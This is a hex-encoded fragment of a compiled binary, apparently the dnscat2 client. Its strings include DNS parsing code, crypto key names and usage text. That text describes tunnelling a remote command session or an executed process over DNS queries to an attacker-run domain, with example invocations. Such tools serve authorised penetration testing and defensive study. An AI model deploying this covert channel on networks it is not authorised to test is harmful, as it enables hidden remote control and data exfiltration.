07365656d73206c696b6520612076616c696420646e7363617432207365727665722e0a0050696e6720726573706f6e73652072656365697665642c20627574206974206469646e277420636f6e7461696e207468652072696768742064617461210a0045787065637465643a2025730a0052656365697665643a2025730a00546865206f6e6c7920726561736f6e20746869732063616e2068617070656e20697320696620736f6d657468696e67206973206d657373696e6720776974680a00796f757220444e5320747261666669632e0a00647269766572732f6472697665725f70696e672e6300536f7272792c207468652070696e67207061636b657420697320746f6f206c6f6e6720746f2072657370656374207468652070726f746f636f6c2773206c656e677468207265737472696374696f6e73203a28006c6962732f6275666665722e630050726f6772616d20617474656d7074656420746f207573652064656c65746564206275666665722e00556e7265636f76657261626c65206572726f7220696e202573282564293a2025730a0a004f766572666c6f772e00546f6f2062696721004f7574206f66206d656d6f72792e0050726f6772616d2072656164206f66662074686520656e64206f6620746865206275666665722e004f766572666c6f773f004f766572666c6f770050726f6772616d20617474656d7074656420746f2075736520612064656c65746564206275666665722e00506f736974696f6e206973206f757473696465207468652062756666657200506f736974696f6e203d20257a640a0042756666657220636f6e74656e74733a00202020002563000a2530347a583a3c000a2530347a583a2000253032583e00253032583c002530325820000a4c656e6774683a203078257a582028257a64290a006c6962732f63727970746f2f656e63727970746f722e6300636c69656e745f77726974655f6b657900636c69656e745f6d61635f6b6579007365727665725f77726974655f6b6579007365727665725f6d61635f6b6579006d795f707269766174655f6b6579006d795f7075626c69635f6b65790074686569725f7075626c69635f6b6579007368617265645f736563726574006d795f61757468656e74696361746f720074686569725f61757468656e74696361746f72006d795f77726974655f6b6579006d795f6d61635f6b65790074686569725f77726974655f6b65790074686569725f6d61635f6b65790061757468737472696e6700257320004162617465004162736f72620041636865004163696479004163726f737300416674657200416c696b6500416d6f756e7400416d75736500416e6e6f7900416e6e756c7300417264656e74004173636f740042616974004261726f6e7300426172726574004261736b0042656375726c004265666f6f6c0042656c6c004269666f6c6400426f67696500426f78656e00426f7a6f0042726f6b650042756c62790042756e6e790043616c6d6c790043616e61727900436172676f004368697270004368726f6d6100436c65667400436f6b6500436f6c756d6e00436f6d656c7900436f6d65746800436f6e766f7900436f726e00436f75676800437275786573004375656400446172746572004461736800446174696e6700446561646c790044656166004465636164650044656570656e0044657069637400446f6d656400446f727065720044726166747300447269656400447566660044757269616e004561726c7900456173696c790045676761727300456d626f737300456d697400456e636f646500456e6e756900456e76696564004573736179004576697465730045766f6b650045786f74696300466163696c65004661746500466569737479004665776573740046696674790046696c74680046696e65720046697368656400466c61636b7300466c61756e7400466c6565637900466c69656400466f616d7300466f78657300467265656c790046726f7a656e0047656e6f6d6500476962626f6e00476966747300476976696e6700476f6c6400476f6e6500476f7567650047726f6365720047726f77730048616c660048616e646c65004861726f6c640048617270004865646765730048697468657200486f6262697400486f62626c6500486f6f647300486f6f6b656400486f72726f7200486f7273656400486f756e640048756e73004963657300496d70697368004a69626572004a69676779004b656c7079004b65796d616e004b68616e004b696c6c6572004b6c75747a79004c616972004c6173686573004c6962617465004c696d696e67004c6f6e656c79004c6f6f6b73004c6f726479004c757368004d61696c6572004d617073004d61796f004d6367696c6c004d6f6e61004d6f74697665004d6f757379004e65696768004e696e6a6173004e6f64756c65004e756e73004f62657365004f6c697665004f6d656c6574004f6d656e004f74746f004f757472616e004f757a6f004f776c730050617069736d00506172726f7400506561636500506561726c7900506561747900506564616c0050656767656400506574616c7300506869616c73005069616e6f730050696572636500506967730050696b657900506974636800506c61746f00506c61797300506c6967687400506f6574696300506f6b657200506f6c69746500506f6e74696300506f6e7900506f7765727300506f786573005072616d730050756c70656400507572720050757368005175696e740052616e646f6d0052617069657200526176656c005265616c005265626f6c74005265636f696c00526564656172005265696e6b00526970650052697072617000526f67657200526f7065727300526f76696e670052756d6f720053616e646564005361776c6f67005361776d616e00536372696265005363727566660053656974616e0053656e736500536869726b7300536970707900536974636f6d00536c756d707900536f66747900536f6e617200536f6e6e7900536f7068696300537065617200537069636564005370696b6579005370696e650053706f6f667900537072696e670053746174696300537461766564005374696c74005374696e74790053746972730053746f7265720053746f7279005374726f6465005374756d700053756974656400537572667300537761746368005377756d005461626c65730054616b696e6700546174746f6f005465616c0054656574680054656c636f0054696d65720054696e7300546f6e69746500546f726500546f72740054726965640054726976696100547562756c65005475736b6564005477696e730054776f7300556e626f726e00556e64616d00556e777261700055706375726c0055707365616c00566973617300566f6c756d650057616465640057616765730057617265005765617273005769636b65640057696e66756c00576973656c790057697370005965726261005a6573746572005a6f6e6572005a6f6f746963002f6465762f7572616e646f6d002f6465762f72616e646f6d00000000000000000000000004200001000000002ffcfffffeffffffffffffffffffffffffffffffffffffffffffffffffffffff414136d08c5ed2bf3ba048afe6dcaebafeffffffffffffffffffffffffffffff9817f8165b81f259d928ce2ddbfc9b02070b87ce9562a055acbbdcf97e66be79b8d410fb8fd0479c195485a648b417fda808110efcfba45d65c4a32677da3a48070000000000000000000000000000000000000000000000000000000000000082b54000000000002eb04000000000002db740000000000091a840000000000000000000000000000420000100000000ffffffffffffffffffffffff00000000000000000000000001000000ffffffff512563fcc2cab9f3849e17a7adfae6bcffffffffffffffff00000000ffffffff96c298d84539a1f4a033eb2d817d0377f240a463e5e6bcf847422ce1f2d1176bf551bf376840b6cbce5e316b5733ce2b169e0f7c4aebe78e9b7f1afee242e34f4b60d2273e3cce3bf6b053ccb0061d65bc86987655bdebb3e7933aaad835c65a5ead4000000000002eb040000000000083af400000000000749c4000000000000000000000000000041ce00000000000010000000000000000000000ffffffffffffffffffffffffffffffff000000003d2a5c5c4529dd133ef0b8e0a216ffffffffffffffffffffffffffff00000000211d5c11d68032342211c256d3c1034ab99013327fbfb46bbd0c0eb700000000347e00859981d5446447075aa07543cde6df224cfb23f7b5886337bd00000000b4ff552343390b27bad8bfd7b7b04450563241f5abb3040c850a05b4000000005ead40000000000004b240000000000083af400000000000b39a40000000000000000000000000000318c00000000000fffffffffffffffffeffffffffffffffffffffffffffffff00000000000000003128d2b4b1c96b1436f8de99ffffffffffffffffffffffff00000000000000001210ff82fd0afff40088a143eb20bf7cf69030b00ea88d181148791ea177f973d5cd246bed11106378dac8ff952b190700000000000000000000000000000000b1b946c1ecdeb8fe49302472abe9a70fe7809ce51905216400000000000000005ead4000000000002eb040000000000083af400000000000b69940000000000000000000000000000314a10000000000ffffff7fffffffffffffffffffffffffffffffff000000000000000000000000572275cad3ae27f9c8f40100000000000000000001000000000000000000000082fccb13b98bc368896964462873f58e68b5964a0000000032fbc57a3751230412c9dc597d9468315528a623000000000000000000000000000000000000000045fa65c5add4d4819ff8ac658b7abd54fcbe971c0000000000000000000000005ead4000000000002eb040000000000083af400000000000c4984000000000006c6962732f63727970746f2f736861332e630072617465203c3d2031363030202626202872617465202520363429203d3d203000626c6f636b5f73697a65203e206469676573745f6c656e67746800000000000000000000736861335f66696e616c0000000000006b656363616b5f696e69740000000000010000000000000082800000000000008a8000000000008000800080000000808b800000000000000100008000000000818000800000008009800000000000808a00000000000000880000000000000009800080000000000a000080000000008b800080000000008b0000000000008089800000000000800380000000000080028000000000008080000000000000800a800000000000000a0000800000008081800080000000808080000000000080010000800000000008800080000000806c6962732f646e732e6300444e53207365727665722072657475726e656420616e20756e6b6e6f776e2063686172616374657220696e2074686520737472696e673a203078253032780a00436f756c646e27742070726f6365737320737472696e67005741524e494e473a20446f6e2774206b6e6f7720686f7720746f20706172736520616e20616e73776572206f66207479706520307825303478202864697363617264696e67290a002a0028646e732d3e6f70636f646520262030783738303029203d3d20646e732d3e6f70636f64650028646e732d3e72636f646520262030783030304629203d3d20646e732d3e72636f64650028646e732d3e666c61677320262030783837383029203d3d20646e732d3e666c616773005741524e494e473a20446f6e2774206b6e6f7720686f7720746f206275696c6420616e737765722074797065203078253032783b20736b697070696e67210a005741524e494e473a20446f6e2774206b6e6f7720686f7720746f206275696c64206164646974696f6e616c2074797065203078253032783b20736b697070696e67210a0074726e5f69643a203078253034780a00666c6167733a20203078253034780a0072636f64653a20203078253034780a007175657374696f6e3a20257320307825303478203078253034780a00616e737765723a202573203d3e202573204120202020202030782530347820253038780a00616e737765723a202573203d3e202573204e53202020202030782530347820253038780a00616e737765723a202573203d3e20257320434e414d45202030782530347820253038780a00616e737765723a202573203d3e2025732028256429204d582020202020307825303478203078253038780a00616e737765723a202573203d3e202573205445585420202030782530347820253038780a00616e737765723a202573203d3e202573204141414120202030782530347820253038780a00616e737765723a202573203d3e202573202830782530347829204e422030782530347820253038780a00616e737765723a202573203d3e202564206e616d65732028253032783a253032783a253032783a253032783a253032783a25303278290a002020202025733a25303278202825303478290a00417574686f7269746965733a2025640a006164646974696f6e616c3a202573203d3e202573204120202020202030782530347820253038780a006164646974696f6e616c3a202573203d3e202573204e53202020202030782530347820253038780a006164646974696f6e616c3a202573203d3e20257320434e414d45202030782530347820253038780a006164646974696f6e616c3a202573203d3e2025732028256429204d582020202020307825303478203078253038780a006164646974696f6e616c3a202573203d3e202573205445585420202030782530347820253038780a006164646974696f6e616c3a202573203d3e202573204141414120202030782530347820253038780a006164646974696f6e616c3a202573203d3e202573202830782530347829204e422030782530347820253038780a006164646974696f6e616c3a202573203d3e202564206e616d65732028253032783a253032783a253032783a253032783a253032783a25303278290a002f6574632f7265736f6c762e636f6e66006e616d6573657276657200496e76616c6964207265636f726420696e202f6574632f7265736f6c762e636f6e663a2025730a00000000000000646e735f746f5f7061636b657400576520666f72676f7420746f2068616e646c652061206c696e6b65642d6c6973742074797065210a006c6962732f6c6c2e630000000000000000b30a410000000000b30a410000000000b90a410000000000be0a410000000000c90a4100000000005b5b202573205d5d203a3a2000436f756c646e2774206f70656e206c6f6766696c653a20257300494e464f005741524e494e4700464154414c0000000000000000000000000000004f6941000000000054694100000000001f704100000000005c694100000000004f7574206f66206d656d6f7279000a0a556e7265636f76657261626c65206572726f722061742025733a25643a2025730a0a00556e6b6e6f776e2053454c45435420726573756c74207761732072657475726e656420627920612063616c6c6261636b2e006c6962732f73656c6563745f67726f75702e6300547269656420746f206164642073616d6520736f636b657420746f2073656c6563745f67726f7570206d6f7265207468616e206f6e63652e00546f6f206d616e7920736f636b657473210a00547269656420746f207472656174206120444154414752414d20736f636b6574206c696b6520612073747265616d2e00536f6d657468696e6720636175736564206461746120636f7272757074696f6e20286f766572666c6f773f290073656c6563745f67726f75703a20636f756c646e27742073656c656374282900547269656420746f207761697420666f7220746f6f206d616e79206279746573206174206f6e63652e00547269656420746f20627566666572206279746573206f6e207468652077726f6e672074797065206f6620736f636b6574007463703a20636f756c646e27742063726561746520736f636b657400436f756c646e27742066696e6420686f73742025730a007463703a20636f756c646e277420636f6e6e65637420746f20686f7374007463703a20636f756c646e2774207061727365206c6f63616c2061646472657373007463703a20636f756c646e27742062696e6420746f20736f636b6574007463703a20636f756c646e2774206c697374656e206f6e20736f636b6574007463703a20636f756c646e27742061636365707420636f6e6e656374696f6e004572726f723a20636f756c646e27742064726f702070726976696c6567657320746f20272573273a2075736572206e6f7420666f756e642e20506c6561736520637265617465207468650a0075736572206f722073706563696679206120626574746572206f6e652077697468202d752e0a004572726f723a2064726f707065642075736572206163636f756e742068617320726f6f742070726976696c656765733b20706c6561736520737065636966792061206265747465720a004661696c656420746f2064726f702070726976696c6567657320746f202573210050726976696c6567652064726f70206661696c65642c20736f727279210a00257320286572726f722025643a202573290a004572726f722025643a2025730a0025733a200025303278007564703a20636f756c646e27742063726561746520736f636b6574007564703a20636f756c646e27742073657420736f636b657420746f20534f5f42524f414443415354007564703a20636f756c646e2774207061727365206c6f63616c2061646472657373007564703a20636f756c646e27742062696e6420746f20706f7274202861726520796f752072756e6e696e6720617320726f6f743f29007564703a20636f756c646e277420726563656976652064617461007564703a20636f756c646e27742073656e64206461746100444e5320736f636b657420636c6f736564210074756e6e656c5f647269766572732f6472697665725f646e732e63006472697665722d3e7320213d202d31006c656e677468203e2030006c656e677468203c3d2028283235352f3229202d20286472697665722d3e646f6d61696e203f207374726c656e286472697665722d3e646f6d61696e29203a207374726c656e2822646e73636174222929202d2031202d202828323535202f20363229202b2031292900646e7363617400656e636f6465645f6c656e677468203c3d203235350053656e64696e6720444e5320717565727920666f723a20257320746f2025733a256400436f756c646e2774206865782d6465636f646520746865206e616d6520286e616d652077617320616e206f6464206c656e677468293a20257300436f756c646e2774206865782d6465636f646520746865206e616d652028636f6e7461696e73206e6f6e2d6865782063686172616374657273293a2025730054686520726573706f6e7365206469646e277420636f6e7461696e2074686520646f6d61696e206e616d653a2025730054686520726573706f6e736520776173206a7573742074686520646f6d61696e206e616d653a20257300444e5320726573706f6e7365207265636569766564202825642062797465732900444e533a2052434f44455f464f524d41545f4552524f5200444e533a2052434f44455f5345525645525f4641494c55524500444e533a2052434f44455f4e414d455f4552524f5200444e533a2052434f44455f4e4f545f494d504c454d454e54454400444e533a2052434f44455f5245465553454400444e533a20556e6b6e6f776e206572726f7220636f646520283078253034782900444e532072657475726e6564207468652077726f6e67206e756d626572206f6620726573706f6e7365206669656c647320287175657374696f6e5f636f756e742073686f756c6420626520312c2077617320696e7374656164202564292e00546869732069732070726f6261626c792064756520746f206120444e53206572726f7200444e53206469646e27742072657475726e20616e20616e7377657200526563656976656420612054585420726573706f6e73653a202573005265636569766564206120434e414d4520726573706f6e73653a2025730052656365697665642061204d5820726573706f6e73653a2025730052656365697665642061204d5820726573706f6e73652028257a752062797465732900526563656976656420616e204120726573706f6e73652028257a752062797465732900526563656976656420616e204141414120726573706f6e73652028257a752062797465732900556e6b6e6f776e20444e5320747970652072657475726e65643a202564004372656174696e67205544502028444e532920736f636b6574206f6e20257300436f756c646e2774206372656174652055445020736f636b65742100414e59002c2000545854005445585400434e414d4500596f75206469646e2774207061737320616e792076616c696420444e5320747970657320746f207573652120416c6c6f77656420747970657320617265205458542c20434e414d452c204d582c20412c2041414141000000000000005d3141000000000064314100000000006b3141000000000072314100000000007931410000000000646f5f73656e64005465726d696e6174696e6700646e736361742e630055736167653a202573205b617267735d205b646f6d61696e5d0a0a47656e6572616c206f7074696f6e733a0a202d2d68656c70202d682020202020202020202020202020205468697320706167652e0a202d2d76657273696f6e202020202020202020202020202020476574207468652076657273696f6e2e0a202d2d64656c6179203c6d733e20202020202020202020202053657420746865206d6178696d756d2064656c6179206265747765656e207061636b657473202864656661756c743a2031303030292e0a20202020202020202020202020202020202020202020202020546865206d696e696d756d20697320746563686e6963616c6c7920353020666f7220746563686e6963616c20726561736f6e732c0a20202020202020202020202020202020202020202020202020627574207472616e736d697474696e6720746f6f20717569636b6c79206d69676874206d616b6520706572666f726d616e63650a20202020202020202020202020202020202020202020202020776f7273652e0a202d2d737465616479202020202020202020202020202020204966207365742c20616c77617973207761697420666f72207468652064656c6179206265666f72652073656e64696e672e0a20202020202020202020202020202020202020202020202020746865206e657874206d657373616765202862792064656661756c742c207768656e206120726573706f6e73652069730a2020202020202020202020202020202020202020202020202072656365697665642c20746865206e657874206d65737361676520697320696d6d6564696174656c79207472616e736d69747465642e0a202d2d6d61782d72657472616e736d697473203c6e3e2020204f6e6c792072652d7472616e736d69742061206d657373616765203c6e3e2074696d6573206265666f726520676976696e672075700a20202020202020202020202020202020202020202020202020616e6420617373756d696e6720746865207365727665722069732064656164202864656661756c743a203230292e0a202d2d72657472616e736d69742d666f72657665722020202053657420696620796f752077616e742074686520636c69656e7420746f2072652d7472616e736d697420666f72657665720a20202020202020202020202020202020202020202020202020756e74696c206120736572766572207475726e732075702e20546869732063616e2062652068656c7066756c2c2062757420616c736f0a202020202020202020202020202020202020202020202020206d616b6573207468652073657276657220706f74656e7469616c6c792072756e20666f72657665722e0a202d2d736563726574202020202020202020202020202020205365742074686520736861726564207365637265743b20736574207468652073616d65206f6e65206f6e20746865207365727665720a20202020202020202020202020202020202020202020202020616e642074686520636c69656e7420746f2070726576656e74206d616e2d696e2d7468652d6d6964646c652061747461636b73210a202d2d6e6f2d656e6372797074696f6e2020202020202020205475726e206f666620656e6372797074696f6e2f61757468656e7469636174696f6e2e0a0a496e707574206f7074696f6e733a0a202d2d636f6e736f6c6520202020202020202020202020202053656e642f72656365697665206f757470757420746f2074686520636f6e736f6c652e0a202d2d65786563202d65203c70726f636573733e2020202020457865637574652074686520676976656e2070726f6365737320616e64206c696e6b20697420746f207468652073747265616d2e0a202d2d636f6d6d616e64202020202020202020202020202020537461727420616e20696e7465726163746976652027636f6d6d616e64272073657373696f6e202864656661756c74292e0a202d2d70696e6720202020202020202020202020202020202053696d706c7920636865636b2069662074686572652773206120646e736361743220736572766572206c697374656e696e672e0a0a4465627567206f7074696f6e733a0a202d6420202020202020202020202020202020202020202020446973706c6179206d6f726520646562756720696e666f202863616e2062652075736564206d756c7469706c652074696d6573292e0a202d7120202020202020202020202020202020202020202020446973706c6179206c65737320646562756720696e666f202863616e2062652075736564206d756c7469706c652074696d6573292e0a202d2d7061636b65742d747261636520202020202020202020446973706c617920696e636f6d696e672f6f7574676f696e6720646e7363617432207061636b6574730a0a447269766572206f7074696f6e733a0a202d2d646e73203c6f7074696f6e733e202020202020202020456e61626c6520444e53206d6f646520776974682074686520676976656e20646f6d61696e2e0a202020646f6d61696e3d3c646f6d61696e3e2020202020202054686520646f6d61696e20746f206d616b6520726571756573747320666f722e0a202020686f73743d3c686f73746e616d653e2020202020202054686520686f737420746f206c697374656e206f6e202864656661756c743a20302e302e302e30292e0a202020706f72743d3c706f72743e202020202020202020202054686520706f727420746f206c697374656e206f6e202864656661756c743a203533292e0a202020747970653d3c747970653e20202020202020202020205468652074797065206f6620444e5320726571756573747320746f207573652c2063616e207573650a202020202020202020202020202020202020202020202020206d756c7469706c6520636f6d6d612d73657061726174656420286f7074696f6e733a205458542c204d582c0a20202020202020202020202020202020202020202020202020434e414d452c20412c204141414129202864656661756c743a205458542c434e414d452c4d58292e0a2020207365727665723d3c7365727665723e2020202020202054686520757073747265616d2073657276657220666f72206d616b696e6720444e532072657175657374730a202020202020202020202020202020202020202020202020202864656661756c743a206175746f6465746563746564203d202573292e0a0a4578616d706c65733a0a202e2f646e73636174202d2d646e7320646f6d61696e3d736b756c6c7365636c6162732e6f72670a202e2f646e73636174202d2d646e7320646f6d61696e3d736b756c6c7365636c6162732e6f72672c7365727665723d382e382e382e382c706f72743d35330a202e2f646e73636174202d2d646e7320646f6d61696e3d736b756c6c7365636c6162732e6f72672c706f72743d353335330a202e2f646e73636174202d2d646e7320646f6d61696e3d736b756c6c7365636c6162732e6f72672c706f72743d35332c747970653d412c434e414d450a0a42792064656661756c742c2061202d2d646e7320647269766572206f6e20706f727420353320697320656e61626c6564206966206120686f73746e616d652069730a706173736564206f6e2074686520636f6d6d616e646c696e653a0a0a202e2f646e7363617420736b756c6c7365636c6162732e6f72670a0a4552524f523a2025730a0a002a2a205741524e494e47210a002a0a002a204974206c6f6f6b73206c696b6520796f752772652072756e6e696e6720646e73636174322077697468207468652073797374656d20444e53207365727665722c0a002a20616e64206e6f20646f6d61696e206e616d6521002a2054686174277320636f6f6c2c2049276d206e6f7420676f696e6720746f2073746f7020796f752c2062757420746865206f64647320617265207265616c6c792c0a002a207265616c6c7920686967682074686174207468697320776f6e277420776f726b2e20596f7520656974686572206e65656420746f2070726f7669646520610a002a20646f6d61696e20746f2075736520444e53207265736f6c7574696f6e2028726571756972657320616e20617574686f726974617469766520736572766572293a0a002a2020202020646e73636174206d79646f6d61696e2e636f6d0a002a204f7220796f75206861766520746f2070726f7669646520612073657276657220746f20636f6e6e656374206469726563746c7920746f3a0a002a2020202020646e73636174202d2d646e733d7365727665723d312e322e332e342c706f72743d35330a002a2049276d20676f696e6720746f206c65742074686973206b6565702072756e6e696e672c20627574206f6e636520616761696e2c2074686973206c696b656c790a002a2069736e2774207768617420796f752077616e74210a00436f756c646e27742064657465726d696e65207468652073797374656d20444e53207365727665722120506c65617365206d616e75616c6c79207365740074686520646e73207365727665722077697468202d2d646e73207365727665723d382e382e382e3800596f752063616e20616c736f206669782074686973206279206372656174696e6720612070726f706572202f6574632f7265736f6c762e636f6e660a004372656174696e6720444e53206472697665723a0a0020646f6d61696e203d2025730a0020686f73742020203d2025730a0020706f72742020203d2025750a0020747970652020203d2025730a0020736572766572203d2025730a005458542c434e414d452c4d5800302e302e302e30003a2c00646f6d61696e00706f7274007479706500556e6b6e6f776e202d2d646e73206f7074696f6e3a2025730a004552524f522070617273696e67202d2d646e733a2069742068617320746f20626520636f6c6f6e2d736570617261746564206e616d653d76616c7565207061697273210a0068656c70002d2d68656c70207265717565737465640076657273696f6e00646e73636174322076302e30372028636c69656e74290a0069736e0064656c61790053657474696e672064656c6179206265747765656e207061636b65747320746f2025646d7300737465616479006d61782d72657472616e736d6974730072657472616e736d69742d666f7265766572006e6f2d656e6372797074696f6e00636f6e736f6c65006578656300636f6d6d616e640070696e6700646e73007463700071007061636b65742d747261636500556e6b6e6f776e206f7074696f6e00556e7265636f676e697a656420617267756d656e74004372656174696e67206120636f6e736f6c652073657373696f6e210a004372656174696e67206120657865632827257327292073657373696f6e210a004372656174696e67206120636f6d6d616e642073657373696f6e210a004372656174696e6720612070696e672073657373696f6e210a004974206c6f6f6b73206c696b6520796f752075736564202d2d646e7320616e6420616c736f20706173736564206120646f6d61696e206f6e2074686520636f6d6d616e646c696e652e0a00546861742773206e6f7420616c6c6f77656421204569746865722075736520272d2d646e7320646f6d61696e3d78787827206f7220646f6e2774207573652061202d2d646e730a00617267756d656e74210a005374617274696e6720444e532064726976657220776974686f7574206120646f6d61696e2120546869732077696c6c206f6e6c7920776f726b20696620796f750a00617265206469726563746c7920636f6e6e656374696e6720746f2074686520646e7363617432207365727665722e0a00596f75276c6c206e65656420746f20757365202d2d646e73207365727665723d3c7365727665723e20696620796f75206172656e27742e0a000000000000000000000000001381410000000000000000000000000000000000000000000000000000000000fe4941000000000000000000000000000000000000000000000000000000000029814100000000000000000000000000000000000000000000000000000000004d814100000000000100000000000000000000000000000000000000000000007981410000000000000000000000000000000000000000000000000000000000808141000000000001000000000000000000000000000000000000000000000090814100000000000000000000000000000000000000000000000000000000008457410000000000010000000000000000000000000000000000000000000000a381410000000000000000000000000000000000000000000000000000000000b181410000000000000000000000000000000000000000000000000000000000b981410000000000010000000000000000000000000000000000000000000000a45c410000000000010000000000000000000000000000000000000000000000be81410000000000000000000000000000000000000000000000000000000000c681410000000000000000000000000000000000000000000000000000000000cb81410000000000010000000000000000000000000000000000000000000000be46410000000000000000000000000000000000000000000000000000000000d381410000000000000000000000000000000000000000000000000000000000d5814100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011b033b6c0c00008c010000708efeffb80c0000d092feff68370000fd92feffd04400003d93feffd04c00004f99feff880c00003d9afeffe00c0000e19bfeff180d00006b9cfeff400d0000ec9cfeff780d0000719dfeffa00d0000be9dfeffb80d00006e9efeff000e0000f69efeff300e00007e9ffeff600e0000ee9ffeff880e00004ba0feffa00e0000a8a0feffb80e000012a2fefff00e000089a2feff180f0000f1a3feff500f0000b0a4feff700f000034a5feff980f0000ada5feffb80f000020a6feffd00f000089a6feffe80f0000dea6feff001000009aa7feff20100000fba7feff4010000049a8feff60100000b4a9feff9810000070aafeffb810000060abfeffd81000006bacfeff18110000d1acfeff3811000065adfeff60110000d5b0feffa011000060b3feffd8110000bdb3fefff81100004eb4feff18120000a7b4feff401200000db5feff7012000070b5feff98120000d3b5feffc012000015b6feffd81200004db6fefff012000081b6feff08130000b5b6feff20130000eab6feff3813000022b7feff5013000053b7feff6813000095b7feff80130000f1b7feffa013000049b8feffc8130000d7b8feff00140000a6b9feff30140000f6b9feff501400006bbafeff701400009fbafeff881400000ebbfeffb014000088bbfeffd814000021bcfefff8140000d9bcfeff2815000093bdfeff581500004dbefeff88150000c0befeffb81500007fbffeffd8150000e3bffefff815000063c0feff201600001fc1feff40160000a2c6feff881600001ec7feffb01600009fc7feffd816000015c8fefff81600004ac8feff10170000a5c8feff4017000063cbfeff80170000c3cbfeffa817000020ccfeffd017000083ccfefff8170000c8ccfeff1818000048cdfeff481800008dcdfeff68180000f0cdfeff901800006dcefeffc818000006cffeff0019000042cffeff181900007ecffeff30190000bacffeff4819000034d0feff8019000078d0feffa0190000fbd0feffd819000069d1feff081a0000d8d1feff381a000044d2feff681a000071d4feff901a0000b6d8feffd81a0000f3dafeff181b00002adbfeff301b00006edbfeff481b0000c0dbfeff701b00003cdcfeff981b0000d0dcfeffc01b000019ddfeffd81b00004eddfefff01b000085ddfeff081c0000c9ddfeff201c00002adefeff481c0000a6defeff701c000045e0feffa81c000099e0feffc81c0000e8e0feffe81c0000b1e1feff101d000073e2feff481d00001be3feff801d000083e3feffa01d0000b8e3feffb81d0000e8e3feffd01d00006fe4fefff81d0000a5e4feff101e00004de5feff301e0000cde5feff581e0000ffe5feff701e000031e6feff881e000063e6feffa01e000099e6feffb81e0000e4e6feffd01e000016e7feffe81e0000ade7feff101f0000f7e7feff301f000003e9feff601f00008be9feff801f000007eafeffa01f000059eafeffc81f0000fbeafeffe81f0000a2ebfeff2020000044ecfeff40200000c5ecfeff6020000047edfeff80200000e8edfeffa02000006deefeffb8200000dbeefeffd020000092effeff08210000eeeffeff302100002af0feff48210000cef0feff7021000022f1feff90210000c3f1feffa821000065f2feffe0210000aaf2fefff821000044f3feff10220000f9f3feff50220000a0f4feff78220000edf4feff902200003bf5feffa8220000b6f5feffc822000058f6fefff8220000adf6feff28230000e9f6feff40230000f2f7feff7823000065f8feff90230000a5f8feffb0230000f5f8feffd82300002bf9fefff0230000ccf9feff102400000dfafeff3024000043fafeff482400000afbfeff9024000069fbfeffb8240000a5fbfeffd024000033fcfefff8240000c5fcfeff1825000006fdfeff382500003cfdfeff5025000024fefeff902500007cfefeffc025000015fffeffd82500004cfffefff025000083fffeff08260000bafffeff20260000f1fffeff382600002800ffff50260000ba00ffff90260000f100ffffa8260000c602fffff02600003103ffff08270000c903ffff40270000b104ffff782700002005ffffa02700001306ffffc82700005106ffffe02700008c06fffff8270000b907ffff20280000a108ffff48280000020affff80280000150bffffb0280000580cffffe82800006f0dffff20290000b80dffff38290000fb0dffff50290000440effff68290000870effff80290000f70effff98290000390fffffb0290000870fffffc8290000e10fffffe02900004310ffff002a0000a510ffff202a00000d11ffff482a00009211ffff882a00000612ffffc82a00009412ffffe02a00008613ffff102b00008314ffff402b00004416ffff782b0000b519ffffc82b0000671affff102c0000c91affff282c00004a1bffff582c00001b1cffffa02c0000381dffff002d0000b11dffff282d0000e41dffff402d0000821effff702d0000e11effffa02d0000821fffffd02d0000ff1fffff082e0000db21ffff482e00006122ffff782e00006123ffffb82e0000d724ffff082f0000a326ffff582f0000f626ffff802f00002e27ffff982f00005329ffffe82f0000fe29ffff28300000dd2affff68300000d42bffffa8300000522ffffff8300000fd30ffff403100006d31ffff70310000fc31ffffa83100006e33fffff83100007835ffff483200009238ffff983200002e39ffffc8320000b43bffff18330000e93bffff303300001c3cffff483300004f3cffff60330000823cffff78330000b53cffff90330000e83cffffa8330000d13dfffff0330000243fffff403400007c3fffff583400003b40ffff983400002541ffffe83400009541ffff103500007442ffff483500001b43ffff903500008745ffffe0350000f14affff30360000434bffff483600003f4dffff98360000204effffb0360000024fffffc83600004a50ffff183700007a54ffff80370000bc54ffff98370000fe54ffffb03700004055ffffc83700008255ffffe03700007b56ffff203800004157ffff583800009857ffff78380000ec57ffff903800009e59ffffe0380000055affff08390000845affff30390000035bffff58390000e65bffffa0390000c95cffffe8390000b65dffff283a00000d5effff483a00006d5effff803a00004867ffffd03a0000716affff103b0000a26affff283b0000d26affff403b0000066bffff583b0000376bffff703b0000006cffffb03b0000816dffff003c0000176effff383c0000ad6effff703c0000436fffffa83c0000e86fffffe83c0000a270ffff303d00003871ffff683d00000f73ffffb83d0000a573fffff03d00003b74ffff283e0000d174ffff603e00007675ffffa03e00003076ffffe83e0000c676ffff203f00009d78ffff703f0000c37dffffc03f00005d82ffff08400000cf82ffff384000002c83ffff604000002684ffffa04000005d84ffffb8400000f784ffffd84000004985fffff8400000f385ffff404100008d86ffff88410000d286ffffa04100004487ffffd8410000aa87ffff00420000e187ffff184200001688ffff304200004888ffff484200007b88ffff60420000ae88ffff784200008189ffffb8420000b589ffffd0420000e989ffffe8420000a48affff08430000628bffff28430000dc8bffff604300009a8cffff80430000588dffffa0430000868dffffb8430000b48dffffd0430000e28dffffe8430000108effff004400008b8effff30440000ef8effff48440000878fffff78440000d78fffffa04400000990ffffb84400005f90ffffe8440000ec90ffff08450000e291ffff404500000393ffff804500004f93ffffa04500009b93ffffc0450000e793ffffe04500003394ffff004600007f94ffff20460000b994ffff384600000195ffff504600004a95ffff704600009f95ffff904600004598ffffe04600009a9bffff30470000699cffff58470000b69cffff70470000e49cffff88470000079effffc04700003e9effffd84700007c9efffff0470000439fffff18480000c29fffff48480000f69fffff604800002aa0ffff784800005ca0ffff9048000047a1ffffb04800007ca1ffffc848000017a2ffff004900003aa2ffff18490000b5a2ffff4049000093a3ffff70490000ffa3ffff88490000e1a4ffffc849000013a5ffffe049000053a5fffff849000093a5ffff104a0000b8a5ffff284a00006fa8ffff704a0000aea8ffff884a0000fba9fffff04a0000d8aaffff284b00004faeffff684b0000aeb0ffffb84b0000eab0ffffd04b00001eb1fffff04b0000a2b1ffff084c0000e0b1ffff204c000083b4ffff684c0000e8b5ffffb84c000040b6ffff204d0000b0b6ffff684d0000c0b6ffff804d0000e0b6ffff984d0000000000001400000000000000017a5200017810011b0c070890010710140000001c000000bf8cfeff2a00000000000000000000001400000000000000017a5200017810011b0c070890010000240000001c000000b081feff60040000000e10460e184a0f0b770880003f1a3b2a332422000000003400000044000000558dfeffa401000000420e108c024e0e188603490e208304440e300382010e20410e18410e10420e0800000000000000240000007c000000c18efeff8a00000000410e108602410e188303440e3002810e18410e10410e0834000000a4000000238ffeff8100000000420e108d024a0e188c03490e208604480e288